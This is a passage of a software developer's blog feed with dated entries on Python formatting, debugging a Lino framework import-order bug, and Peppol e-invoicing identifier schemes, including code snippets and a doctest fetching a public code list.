automated PEP8 code formatting. My Pulsar now has &lt;a class="reference external" href="https://web.pulsar-edit.dev/packages/pulsar-ide-python"&gt;pulsar-ide-python&lt;/a&gt; installed.&lt;/p&gt;
&lt;p&gt;Deep in my heart I fully agree with &lt;a class="reference external" href="https://www.flake8rules.com/rules/E501.html"&gt;E501&lt;/a&gt; (line too long). It’s not
because of my eyes. Okay they are getting older and I need larger fonts than
young people, but I stopped using two-column code editing already quite some
time ago, so I could work on lines of 100 chars without problem. The reason is
rather this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;“when people let themselves write long lines, they stop caring about proper
abstraction in their code. Everything turns into uber-nested unreadable soup. If
a line is too long, it should probably get refactored.”
— &lt;a class="reference external" href="https://www.reddit.com/r/Python/comments/12cx3fa/is_e501_79_character_lines_still_relevant/?rdt=39139"&gt;1668553684 on reddit.com&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0313.html</guid><pubDate>Thu, 13 Mar 2025 00:00:00 +0000</pubDate></item><item><title>Monday, March 10, 2025</title><link>https://luc.lino-framework.org/blog/2025/0310.html</link><description>&lt;section id="monday-march-10-2025"&gt;
&lt;h1&gt;Monday, March 10, 2025&lt;a class="headerlink" href="#monday-march-10-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Collect outbound invoices into outbox
Send outbound documents
Check outbound documents
Check our inbox
No inbound documents to download.&lt;/p&gt;
&lt;p&gt;Collect outbound documents into outbox
Send outbound documents
Check status of sent documents
Check for new inbound documents
Download inbound documents.&lt;/p&gt;
&lt;p&gt;No inbound documents to download.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0310.html</guid><pubDate>Mon, 10 Mar 2025 00:00:00 +0000</pubDate></item><item><title>Thursday, March 6, 2025</title><link>https://luc.lino-framework.org/blog/2025/0306.html</link><description>&lt;section id="thursday-march-6-2025"&gt;
&lt;h1&gt;Thursday, March 6, 2025&lt;a class="headerlink" href="#thursday-march-6-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I’m working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5964"&gt;#5964&lt;/a&gt; (pm prep in avanti1 says ‘str’ object has no
attribute ‘get_layout_handle’)&lt;/p&gt;
&lt;p&gt;In &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl/lib/courses/models.py&lt;/span&gt;&lt;/code&gt; we had:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;requestfield&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Enrolments&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;enrolments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_enrolments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;start_date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;today&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_enrolments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;courses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;EnrolmentsByCourse&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                        &lt;span class="n"&gt;param_values&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The issue went away when I added “if ar is None: return” in the enrolments
virtual field before calling &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_enrolments()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But why? And why did it start only now?&lt;/p&gt;
&lt;p&gt;And the same error message happens when I say &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;doctest&lt;/span&gt;
&lt;span class="pre"&gt;docs/specs/avanti/courses.rst&lt;/span&gt;&lt;/code&gt;, this time it is when
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;courses/Course/presence_sheet.weasy.html&lt;/span&gt;&lt;/code&gt; says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;enrolment&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_enrolments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
   &lt;span class="n"&gt;start_date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;action_param_values&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="n"&gt;end_date&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;action_param_values&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end_date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Note that &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_enrolments()&lt;/span&gt;&lt;/code&gt; accesses
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;rt.models.courses.EnrolmentsByCourse&lt;/span&gt;&lt;/code&gt;. This is an &lt;em&gt;actor&lt;/em&gt;, more
precisely a table. And avanti redefines this table.&lt;/p&gt;
&lt;p&gt;Lino is trying to setup the actor handle for the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;EnrolmentsByCourse&lt;/span&gt;&lt;/code&gt;
from &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.courses.html#module-lino_xl.lib.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; instead of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_avanti.lib.courses.html#module-lino_avanti.lib.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_avanti.lib.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Aha!  Explanation: It’s an aftermath of  &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5956"&gt;#5956&lt;/a&gt; (python-tools no longer
works). One of those automatic formatters that came with &lt;cite&gt;pulsar-ide-python&lt;/cite&gt;,
which I installed  to replace the orphaned &lt;cite&gt;python-tools&lt;/cite&gt;, insists on moving all
global imports to the top of the file. Including these ones:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;.ui&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But these imports &lt;em&gt;must&lt;/em&gt; come at the end of the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-models.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;models.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file, at
least for &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_avanti.lib.courses.html#module-lino_avanti.lib.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_avanti.lib.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;No. They don’t need to be at the end of &lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-models.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;models.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file, it’s enough if
they are after the:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_xl.lib.courses.models&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;section id="should-we-stop-using-from-ui-import"&gt;
&lt;h2&gt;Should we stop using &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;from&lt;/span&gt; &lt;span class="pre"&gt;.ui&lt;/span&gt; &lt;span class="pre"&gt;import&lt;/span&gt; &lt;span class="pre"&gt;*&lt;/span&gt;&lt;/code&gt; ?&lt;a class="headerlink" href="#should-we-stop-using-from-ui-import" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Most people say that &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;from&lt;/span&gt; &lt;span class="pre"&gt;x&lt;/span&gt; &lt;span class="pre"&gt;import&lt;/span&gt; &lt;span class="pre"&gt;*&lt;/span&gt;&lt;/code&gt; is bad code style. But we use &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;from&lt;/span&gt;
&lt;span class="pre"&gt;.ui&lt;/span&gt; &lt;span class="pre"&gt;import&lt;/span&gt; &lt;span class="pre"&gt;*&lt;/span&gt;&lt;/code&gt; as a feature in a well-defined context in order to follow another
code style principle which is “don’t repeat yourself”. We deliberately merge
database models and actors into a same pot (the plugin’s namespace) because it
makes documentation more concise. For application developers it makes no sense
to differentiate between models, tables, choicelists because these are
implementation details. But the more I think about this I realize that it’s a
controversial topic, and for a developer who is used to relying on their IDE it
can be a serious obstacle for diving into Lino.&lt;/p&gt;
&lt;p&gt;I started to move all &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;from&lt;/span&gt; &lt;span class="pre"&gt;.ui&lt;/span&gt; &lt;span class="pre"&gt;import&lt;/span&gt; &lt;span class="pre"&gt;*&lt;/span&gt;&lt;/code&gt; lines from the bottom of the
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-models.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;models.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file to its top. But actually I have no clear plan yet. Even
if we would name them explicitly, pyflakes would still complain because we
import them and then don’t use them.&lt;/p&gt;
&lt;p&gt;There is another topic, related to this: we actually have two namespaces per
plugin: &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;dd.plugins.foo&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;rt.models.foo&lt;/span&gt;&lt;/code&gt;. Their difference is that
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;dd.plugins&lt;/span&gt;&lt;/code&gt; is available as soon as the plugins have been installed while
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;rt.models&lt;/span&gt;&lt;/code&gt; is available only when Django has populated its database models.
The items of &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/api/dd/index.html#lino.api.dd.plugins" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.dd.plugins&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; are instances of
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.plugins.Plugin&lt;/span&gt;&lt;/code&gt; while the items of &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/api/rt/index.html#lino.api.rt.models" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.rt.models&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
are the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-models.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;models.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; module objects.&lt;/p&gt;
&lt;p&gt;Once upon a time we had the actors collected into a namespace &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;rt.actors&lt;/span&gt;&lt;/code&gt;,
separately from &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;rt.models&lt;/span&gt;&lt;/code&gt;. This used a automagic behaviour that we copied
from Django: Django, when starting up, loops over &lt;a class="reference external" href="https://dev.lino-framework.org/ref/settings.html#setting-INSTALLED_APPS" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;INSTALLED_APPS&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
tries to import a module &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;appname&lt;/span&gt; &lt;span class="pre"&gt;+&lt;/span&gt; &lt;span class="pre"&gt;&amp;quot;.models&amp;quot;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I had a look at &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;django.apps.registry&lt;/span&gt;&lt;/code&gt; and I am tempted to try to review
the Lino startup process because Django has evolved during the last 10 years.
Let &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/plugin.html#lino.core.plugin.Plugin" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.plugin.Plugin&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; inherit from &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;AppConfig&lt;/span&gt;&lt;/code&gt; and use
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;apps.get_app_config()&lt;/span&gt;&lt;/code&gt; instead of &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;dd.plugins&lt;/span&gt;&lt;/code&gt;. Override
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;AppConfig.import_models()&lt;/span&gt;&lt;/code&gt; so that it also tries to import a “ui” module,
similar to what it does with a “models” module.&lt;/p&gt;
&lt;p&gt;That would be fun! I’m really tempted. But there are more urgent things to do
right now.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0306.html</guid><pubDate>Thu, 06 Mar 2025 00:00:00 +0000</pubDate></item><item><title>Thursday, February 27, 2025</title><link>https://luc.lino-framework.org/blog/2025/0227.html</link><description>&lt;section id="thursday-february-27-2025"&gt;
&lt;h1&gt;Thursday, February 27, 2025&lt;a class="headerlink" href="#thursday-february-27-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The Ecosio validator says “[BR-CL-17]-Invoice tax categories MUST be coded using
UNCL5305 code list”, but there are two such code lists:
&lt;a class="reference external" href="https://docs.peppol.eu/pracc/catalogue/1.0/codelist/UNCL5305/"&gt;A&lt;/a&gt; and
&lt;a class="reference external" href="https://docs.peppol.eu/poacc/billing/3.0/2024-Q2/codelist/UNCL5305/"&gt;B&lt;/a&gt;.
One of them has a code “AA” for reduced VAT and the other one hasn’t.
And my invoice contains indeed a line with reduced VAT.&lt;/p&gt;
&lt;p&gt;Explanation: Haha! I was asking a rule set for Australia and New-Zealand. With
the “UBL Invoice 2.4” rule set, the invoices generated by Lino now pass.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0227.html</guid><pubDate>Thu, 27 Feb 2025 00:00:00 +0000</pubDate></item><item><title>Wednesday, February 26, 2025</title><link>https://luc.lino-framework.org/blog/2025/0226.html</link><description>&lt;section id="wednesday-february-26-2025"&gt;
&lt;h1&gt;Wednesday, February 26, 2025&lt;a class="headerlink" href="#wednesday-february-26-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;table class="docutils align-default"&gt;
&lt;tbody&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;Element/context:&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;Error message:&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;cac:InvoiceLine[1]/cbc:InvoicedQuantity[1]&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;[BR-CL-23]-Unit code MUST be coded according to the UN/ECE Recommendation 20
with Rec 21 extension&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;cac:TaxTotal[1]/cac:TaxSubtotal[1]/cac:TaxCategory[1]/cbc:ID[1]&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;[BR-CL-17]-Invoice tax categories MUST be coded using UNCL5305 code list&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;cac:AccountingCustomerParty[1]/cac:Party[1]/cac:PartyLegalEntity[1]/cbc:CompanyID[1]&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;[BR-CL-11]-Any registration identifier identification scheme identifier MUST
be coded using one of the ISO 6523 ICD list.&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0226.html</guid><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate></item><item><title>Saturday, February 22, 2025</title><link>https://luc.lino-framework.org/blog/2025/0222.html</link><description>&lt;section id="saturday-february-22-2025"&gt;
&lt;h1&gt;Saturday, February 22, 2025&lt;a class="headerlink" href="#saturday-february-22-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am meditating on how to integrate into Lino the  &lt;a class="reference external" href="https://docs.peppol.eu/edelivery/codelists/v9.0/Peppol%20Code%20Lists%20-%20Participant%20identifier%20schemes%20v9.0.html"&gt;Participant Identifier
Schemes&lt;/a&gt;
published as part of the  &lt;a class="reference external" href="https://docs.peppol.eu/edelivery/codelists/"&gt;OpenPeppol eDEC Code Lists&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For example the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;cbc:EndpointID&amp;gt;&lt;/span&gt;&lt;/code&gt; for my employer &lt;a class="reference external" href="https://www.saffre-rumma.net/"&gt;Rumma
&amp;amp; Ko OÜ&lt;/a&gt; is:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;cbc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;EndpointID&lt;/span&gt; &lt;span class="n"&gt;schemeID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;9931&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;100588749&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;cbc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;EndpointID&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;strong&gt;9931&lt;/strong&gt; is the &lt;strong&gt;ICD value&lt;/strong&gt; of item &lt;strong&gt;68&lt;/strong&gt; of the list of Participant Identifier Schemes,
which has “Estonia VAT number” as &lt;strong&gt;Scheme Name&lt;/strong&gt;.
This item also has a &lt;strong&gt;Scheme ID&lt;/strong&gt; of &lt;strong&gt;EE:VAT&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Yes, our &lt;strong&gt;VAT number&lt;/strong&gt; is 100588749.&lt;/p&gt;
&lt;p&gt;But we also have a &lt;strong&gt;company number&lt;/strong&gt;, which is different from the VAT number:
10501849. And there is another item for Estonia in that list, ICD value
&lt;strong&gt;0191&lt;/strong&gt;, named “Company code”. So here is another valid &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;cbc:EndpointID&amp;gt;&lt;/span&gt;&lt;/code&gt; to
point to my employer:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;cbc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;EndpointID&lt;/span&gt; &lt;span class="n"&gt;schemeID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0191&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;10501849&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;cbc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;EndpointID&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.VatVoucher.fill_from_xml()&lt;/span&gt;&lt;/code&gt; method will potentially
get two different &lt;cite&gt;&amp;lt;cbc:EndpointID&amp;gt;&lt;/cite&gt; for a same partner, either “9931:100588749”
or “0191:10501849”.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://docs.peppol.eu/edelivery/codelists/v9.0/Peppol%20Code&lt;/span&gt;&lt;span class="si"&gt;%20Li&lt;/span&gt;&lt;span class="s2"&gt;sts%20-%20Participant&lt;/span&gt;&lt;span class="si"&gt;%20i&lt;/span&gt;&lt;span class="s2"&gt;dentifier&lt;/span&gt;&lt;span class="si"&gt;%20s&lt;/span&gt;&lt;span class="s2"&gt;chemes%20v9.0.json&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;scheme&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;values&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;country&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;       &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;{country}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;{iso6523}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;{schemeid}&lt;/span&gt;&lt;span class="s2"&gt; {scheme-name}&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;scheme&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;AD 9922 AD:VAT Andorra VAT number&lt;/span&gt;
&lt;span class="go"&gt;AL 9923 AL:VAT Albania VAT number&lt;/span&gt;
&lt;span class="go"&gt;AT 9914 AT:VAT Österreichische Umsatzsteuer-Identifikationsnummer&lt;/span&gt;
&lt;span class="go"&gt;AT 9915 AT:GOV Österreichisches Verwaltungs bzw. Organisationskennzeichen&lt;/span&gt;
&lt;span class="go"&gt;AT 9916 AT:CID Firmenidentifikationsnummer der Statistik Austria&lt;/span&gt;
&lt;span class="go"&gt;AT 9919 AT:KUR Kennziffer des Unternehmensregisters&lt;/span&gt;
&lt;span class="go"&gt;AU 0151 AU:ABN Australian Business Number (ABN) Scheme&lt;/span&gt;
